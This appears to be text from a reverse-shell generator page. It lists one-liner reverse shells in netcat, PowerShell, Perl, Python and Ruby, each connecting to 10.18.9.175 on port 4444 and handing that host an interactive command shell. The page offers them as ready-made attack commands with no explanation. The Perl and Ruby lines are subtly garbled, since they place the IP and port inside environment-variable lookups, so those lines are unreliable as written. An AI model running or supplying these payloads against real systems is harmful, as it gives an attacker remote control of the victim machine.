Reverse shell
Bash
Zsh
Netcat
Netcat
generate
shellmkfifo /tmp/uvqhstt; nc 10.18.9.175 4444 0</tmp/uvqhstt | /bin/sh >/tmp/uvqhstt 2>&1; rm /tmp/uvqhstt
PHP
PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.18.9.175',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Perl
perl -e 'use Socket;$i="$ENV{10.18.9.175}";$p=$ENV{4444};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.18.9.175",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["10.18.9.175"],ENV["4444"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'